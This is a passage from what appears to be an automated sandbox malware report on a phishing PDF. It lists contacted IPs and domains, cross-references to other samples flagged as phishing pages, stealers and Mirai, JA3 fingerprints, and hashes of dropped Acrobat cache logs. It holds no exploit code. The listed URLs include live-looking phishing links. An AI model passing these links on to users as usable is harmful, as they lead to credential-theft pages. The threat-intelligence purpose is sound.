https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_223.9.dr, chromecache_226.9.dr, chromecache_233.9.dr	false		high
https://promisesaplus.com/#point-48	chromecache_238.9.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_238.9.dr	false		high
https://sizzlejs.com/	chromecache_238.9.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_238.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.134.189	3245.tarafhaber.net	United States	13335	CLOUDFLARENETUS	false
184.25.164.138	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
103.153.183.146	neroibi.com	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
64.233.177.99	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.59.166	webeoption.ru	United States	13335	CLOUDFLARENETUS	false
108.177.122.104	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428815
Start date and time:	2024-04-19 16:55:00 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf
Detection:	MAL
Classification:	mal72.phis.winPDF@40/98@24/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.31.60.185, 54.227.187.23, 52.202.204.11, 23.22.254.206, 52.5.13.197, 172.64.41.3, 162.159.61.3, 23.34.82.6, 23.34.82.7, 192.229.211.108, 23.40.205.74, 74.125.136.94, 74.125.136.84, 142.250.105.101, 142.250.105.102, 142.250.105.100, 142.250.105.138, 142.250.105.139, 142.250.105.113, 34.104.35.123, 64.233.177.95, 104.21.27.152, 172.67.142.245, 64.233.185.95, 64.233.185.94, 74.125.136.104, 74.125.136.103, 74.125.136.99, 74.125.136.106, 74.125.136.105, 74.125.136.147, 64.233.176.95, 172.217.215.95, 142.250.9.95, 142.251.15.95, 74.125.136.95, 108.177.122.95, 142.250.105.95, 74.125.138.95, 173.194.219.95, 172.253.124.95, 23.40.205.66, 64.233.177.94, 64.233.185.138, 64.233.185.113, 64.233.185.139, 64.233.185.100, 64.233.185.101, 64.233.185.102
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, optimizationguide-pa.googleapis.com, www.bing.com, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, p13n.adobe.io, t0.gstatic.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
184.25.164.138	ppop_verification_request.zip	Get hash	malicious	Unknown	Browse
	Proposal Invitation_ Proposal is Due by the EOB May 15.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	file.pdf.download.lnk	Get hash	malicious	Unknown	Browse
	Factura_SA161.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Re_ Medina County Kitchen.eml	Get hash	malicious	Unknown	Browse
	oiDDogdK9A.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse
	New_Order.xls	Get hash	malicious	Unknown	Browse
	https://enfoldindia.org/wp-content/uploads/2019/06/Restorative-Circle-Handbook-for-CCI.pdf	Get hash	malicious	Unknown	Browse
	TaxForm.lnk	Get hash	malicious	DarkGate, MailPassView	Browse
	https://ntnusa0-my.sharepoint.com/:f:/g/personal/ajaronik_ntnusa_com/EjzRads0Sf5Ivon47-zBKVABS1TZOI64W6Uv34YFqNQjmQ?e=NuZrjr	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
103.153.183.146	http://dashbordsecure.systems	Get hash	malicious	Unknown	Browse	dashbordsecure.systems/favicon.ico
103.153.183.146	http://mytehranmusic.ru	Get hash	malicious	Unknown	Browse	mytehranmusic.ru/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	104.17.25.14
	http://monacolife.net	Get hash	malicious	Unknown	Browse	104.17.25.14
	SecuriteInfo.com.Program.Unwanted.5412.9308.3353.exe	Get hash	malicious	PureLog Stealer	Browse	104.17.24.14
	https://b5qm3iux.dreamwp.com/erepxs/tracking/fV5EjH/msg.php?id=97973728	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://msteams.link/WK80	Get hash	malicious	Phisher	Browse	104.17.24.14
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://watsonpropertyllc.formstack.com/forms/staff	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://znixulyp.com/vGgw6o	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
code.jquery.com	https://download-myproposal.xyz	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.194.137
	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	151.101.130.137
	Play_NewMessage_17April2024_Audio.htm	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://monacolife.net	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://b5qm3iux.dreamwp.com/erepxs/tracking/fV5EjH/msg.php?id=97973728	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://znixulyp.com/vGgw6o	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://huntingtonoakmont-my.sharepoint.com/:b:/g/personal/cmariotti_oakmontcommunities_com/EeUv57weU1BKhs36H3rF_G0BHM4kTzJShI_ZPwFvp1P7-g?e=4UASJ5	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
webeoption.ru	https://ipfs.io/ipfs/bafybeifrkyol35kr3223lphoc467yegrn54mgm3e7hczn4tjbxca2i2w2e/noi45-0-0f-496hy8g-0egrhv-0459hg9r.html	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	https://ayvvaz.com/DK	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	Perform_Voicemail.EFTNTQL00705VxTsndUGFbuYAz5b6SAd6.HTML	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	https://bbbootstrap.com/snippets/full-screen/novel-84712972	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	https://5g-w0rvguj-w9qegbhf-9qejv-qewbgc0-whe-f9ef.obs.ap-southeast-1.myhuaweicloud.com/erb4-059g-w9hgrq-e9gbqewcbeq-9fg0-e9hf.html?AWSAccessKeyId=TONDAQRPIWNU4D9ATWFN&Expires=1679514337&Signature=oJAiHqe0XoPUen6ll365f3V/DMA%3D#email@email.com	Get hash	malicious	Unknown	Browse	103.153.183.146
	https://f34g9-2hg0284hf-2ebgf-028gef-0q9f-9qhefq.obs.ap-southeast-3.myhuaweicloud.com:443/dnfhj5-06h-95hgj-w0rvjg-3h59g-w9ejv-fw9rhf.html?AWSAccessKeyId=JKQEVIJ4TR4XJYLGGOGG&Expires=1679782195&Signature=atEHzf00B21iULOVlgE47n8sP/8%3D	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	https://greenindiaenvironmentalconsultant.in/feedback.html	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	Employee Direct Deposit.html	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	VM-audio002.html	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
stackpath.bootstrapcdn.com	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	104.18.10.207
	https://dinamicconsultores.app.questorpublico.com.br/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://wumanchi.s3.eu-north-1.amazonaws.com/control_dbanty.html?page=_popup&pcnt=3	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://weds.montenegrojc.com/babaali/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://cloudflare-ipfs.com/ipfs/bafybeif3cn3hxdr6x3shqvro6e5gqugz4ea4dzveurgmii3zav7ucukco4/myscr708545.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://aliatti.net.br/secure/documentations/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://twidougaedgrd.z13.web.core.windows.net/index.html	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://167.71.160.65/khldnusdMACscw00/index.html	Get hash	malicious	Unknown	Browse	104.18.10.207
maxcdn.bootstrapcdn.com	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	104.18.10.207
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://groun-93ed.ehajdranrsuw.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://statesborozga.cfd/Proten/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://wumanchi.s3.eu-north-1.amazonaws.com/control_dbanty.html?page=_popup&pcnt=3	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://www.orioncarbons.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://weds.montenegrojc.com/babaali/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://kristie-mancell-s-school.teachable.com/p/centerforfamilylife	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://johns-organization-77.gitbook.io/shareddoc	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://cloudflare-ipfs.com/ipfs/bafybeif3cn3hxdr6x3shqvro6e5gqugz4ea4dzveurgmii3zav7ucukco4/myscr708545.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://download-myproposal.xyz	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.194.137
	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	151.101.130.137
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	151.101.1.229
	malw_sampl	Get hash	malicious	Unknown	Browse	151.101.67.6
	Play_NewMessage_17April2024_Audio.htm	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://tracking.elastic.iscarcup.com/tracking/click?d=XVOGkKKIFI1BUi5gqgZHAdRPhk99njZvP0qXh2IpArKp9RzCSjeoWkfJDrjbcvw75j380eQ4qSrYjhK4RegFgVWSX5L2beQO2AeFGF72kzLV5bUDHAc9_x1G5mw8AznhlHtuepCFbAQZbboWjeiG8YOae_yZBP5-luynay2YDr9Jmf0rVcJIVEgp8xRayU7B_A2	Get hash	malicious	Unknown	Browse	151.101.194.208
	http://monacolife.net	Get hash	malicious	Unknown	Browse	151.101.12.159
	https://www.joesandbox.com/login	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://jobrad.us1.list-manage.com/track/click?u=9c40c69097d5cc62620fab666&id=4174455835&e=1c8272e83c	Get hash	malicious	Unknown	Browse	151.101.1.229
CLOUDFLARENETUS	https://download-myproposal.xyz	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	SenPalia.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	104.17.25.14
	SenPalia.exe	Get hash	malicious	Unknown	Browse	104.21.7.115
	ppop_verification_request.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://www.dropbox.com/l/scl/AADwcgxTbjuvzakz6kszZMzP6RXavhxhixQ	Get hash	malicious	HTMLPhisher	Browse	172.64.150.44
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	172.67.74.152
	https://cosantinexi.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	104.16.117.116
CLOUDFLARENETUS	https://download-myproposal.xyz	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	SenPalia.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	104.17.25.14
	SenPalia.exe	Get hash	malicious	Unknown	Browse	104.21.7.115
	ppop_verification_request.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://www.dropbox.com/l/scl/AADwcgxTbjuvzakz6kszZMzP6RXavhxhixQ	Get hash	malicious	HTMLPhisher	Browse	172.64.150.44
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	172.67.74.152
	https://cosantinexi.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	104.16.117.116
BBIL-APBHARTIAirtelLtdIN	ppop_verification_request.zip	Get hash	malicious	Unknown	Browse	184.25.164.138
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5	Get hash	malicious	Remcos	Browse	23.209.188.17
	Proposal Invitation_ Proposal is Due by the EOB May 15.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	184.25.164.138
	file.pdf.download.lnk	Get hash	malicious	Unknown	Browse	184.25.164.138
	Factura_SA161.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse	184.25.164.138
	Ud310iQZnO.elf	Get hash	malicious	Mirai	Browse	182.74.25.30
	tWpGuzQQoW.elf	Get hash	malicious	Mirai	Browse	122.185.203.209
	kGbjOmkleq.elf	Get hash	malicious	Mirai	Browse	125.23.195.204
	iH18gdEj8Y.elf	Get hash	malicious	Mirai	Browse	125.19.93.33
	xmncOD7BwX.elf	Get hash	malicious	Mirai	Browse	122.184.236.50
TWIDC-AS-APTWIDCLimitedHK	MSC-SHIPPING DOCUMENTS.zip	Get hash	malicious	HTMLPhisher	Browse	103.153.183.146
	inWTsLmzAw.elf	Get hash	malicious	Mirai	Browse	103.155.227.89
	l1sADDB043.elf	Get hash	malicious	Mirai	Browse	103.152.62.193
	R1azpLY4UP.elf	Get hash	malicious	Mirai	Browse	103.154.20.162
	Kie7OQsnAC.elf	Get hash	malicious	Mirai	Browse	103.152.62.197
	https://americaniv.com/Gfakeperson%40suckithacker.com	Get hash	malicious	Unknown	Browse	103.152.98.207
	dysrvPhMb0.elf	Get hash	malicious	Mirai	Browse	103.159.45.230
	VHuRA4hizP.exe	Get hash	malicious	BitRAT	Browse	103.153.182.247
	stub.exe	Get hash	malicious	BitRAT	Browse	103.153.182.247

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	REMITTANCE COPY.exe	Get hash	malicious	AgentTesla	Browse	23.1.237.91
	https://www.dropbox.com/l/scl/AADwcgxTbjuvzakz6kszZMzP6RXavhxhixQ	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	23.1.237.91
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	23.1.237.91
	New Voicemail_Daiichi-Sankyo.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	VnSRmWE631.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	xYUpeXwPkWEHXm4.exe	Get hash	malicious	AgentTesla	Browse	23.1.237.91
	nBBR7c5gR5.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	dwutTyDPzl2TBZV.exe	Get hash	malicious	AgentTesla	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://download-myproposal.xyz	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	40.127.169.103 184.31.62.93
	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	40.127.169.103 184.31.62.93
	https://www.dropbox.com/l/scl/AADwcgxTbjuvzakz6kszZMzP6RXavhxhixQ	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.31.62.93
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.31.62.93
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	40.127.169.103 184.31.62.93
	https://app.box.com/s/ktl5qtvf2us1megbgmjabwqaxcdy69b5	Get hash	malicious	Unknown	Browse	40.127.169.103 184.31.62.93
	https://dt.r24dmp.de/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.31.62.93
	https://bestprizerhere.life/?u=3w8p605&o=pn1kfzq&t=pshtb_redirectUrl_body	Get hash	malicious	GRQ Scam	Browse	40.127.169.103 184.31.62.93
	http://bestprizerhere.life/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.31.62.93
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.31.62.93

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.227121421224625
Encrypted:	false
SSDEEP:	6:XSQ+q2P92nKuAl9OmbnIFUt8YBpgZmw+YBpQVkwO92nKuAl9OmbjLJ:X3+v4HAahFUt8YBm/+YBiV5LHAaSJ
MD5:	D2B8AE4A6F65C0B72667D5D815D1398E
SHA1:	FF320D5FB2322E92196F4456CB1B739D5687CF64
SHA-256:	6C2EB512541FA57202F6D21DDBB279564DCC38A9D247A78B0CE34D25BF141E27
SHA-512:	C248C77F461EE683300BEDBC29E9BFF5B240A251DB663F062BF6276AF6E15066A98F39B0E7F584E4EFEFB4D4280FF17456B96AD4CA52EF454D71F5E320EC5D34
Malicious:	false
Reputation:	low
Preview:	2024/04/19-16:55:49.439 13dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/04/19-16:55:49.441 13dc Recovering log #3.2024/04/19-16:55:49.441 13dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.227121421224625
Encrypted:	false
SSDEEP:	6:XSQ+q2P92nKuAl9OmbnIFUt8YBpgZmw+YBpQVkwO92nKuAl9OmbjLJ:X3+v4HAahFUt8YBm/+YBiV5LHAaSJ
MD5:	D2B8AE4A6F65C0B72667D5D815D1398E
SHA1:	FF320D5FB2322E92196F4456CB1B739D5687CF64
SHA-256:	6C2EB512541FA57202F6D21DDBB279564DCC38A9D247A78B0CE34D25BF141E27
SHA-512:	C248C77F461EE683300BEDBC29E9BFF5B240A251DB663F062BF6276AF6E15066A98F39B0E7F584E4EFEFB4D4280FF17456B96AD4CA52EF454D71F5E320EC5D34
Malicious:	false
Reputation:	low
Preview:	2024/04/19-16:55:49.439 13dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/04/19-16:55:49.441 13dc Recovering log #3.2024/04/19-16:55:49.441 13dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.217202141721837
Encrypted:	false
SSDEEP:	6:XLL+q2P92nKuAl9Ombzo2jMGIFUt8Ygl1Zmw+YgzLVkwO92nKuAl9Ombzo2jMmLJ:Xv+v4HAa8uFUt8Yi1/+YUV5LHAa8RJ
MD5:	CD411D103D6A5BA5E7821969E48CDC70
SHA1:	13C9B67F12C9586C4B1368E91815D7357131F0F9
SHA-256:	26E80CD0B90A7B3FEB1CD6A2CCB80F04F893E50BA6E6AB135BD82FE71E271B7C
SHA-512:	7C94E9691E11C9CEA1C46199EF2C5A64477085FD126956F31AA001992596F903DB9823373A4C67533B034087BA61E687C00E6301E3B140681F9019728EAB199A
Malicious:	false
Reputation:	low
Preview:	2024/04/19-16:55:49.535 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/04/19-16:55:49.538 1c9c Recovering log #3.2024/04/19-16:55:49.538 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.217202141721837
Encrypted:	false
SSDEEP:	6:XLL+q2P92nKuAl9Ombzo2jMGIFUt8Ygl1Zmw+YgzLVkwO92nKuAl9Ombzo2jMmLJ:Xv+v4HAa8uFUt8Yi1/+YUV5LHAa8RJ
MD5:	CD411D103D6A5BA5E7821969E48CDC70
SHA1:	13C9B67F12C9586C4B1368E91815D7357131F0F9
SHA-256:	26E80CD0B90A7B3FEB1CD6A2CCB80F04F893E50BA6E6AB135BD82FE71E271B7C
SHA-512:	7C94E9691E11C9CEA1C46199EF2C5A64477085FD126956F31AA001992596F903DB9823373A4C67533B034087BA61E687C00E6301E3B140681F9019728EAB199A
Malicious:	false
Reputation:	low
Preview:	2024/04/19-16:55:49.535 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/04/19-16:55:49.538 1c9c Recovering log #3.2024/04/19-16:55:49.538 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
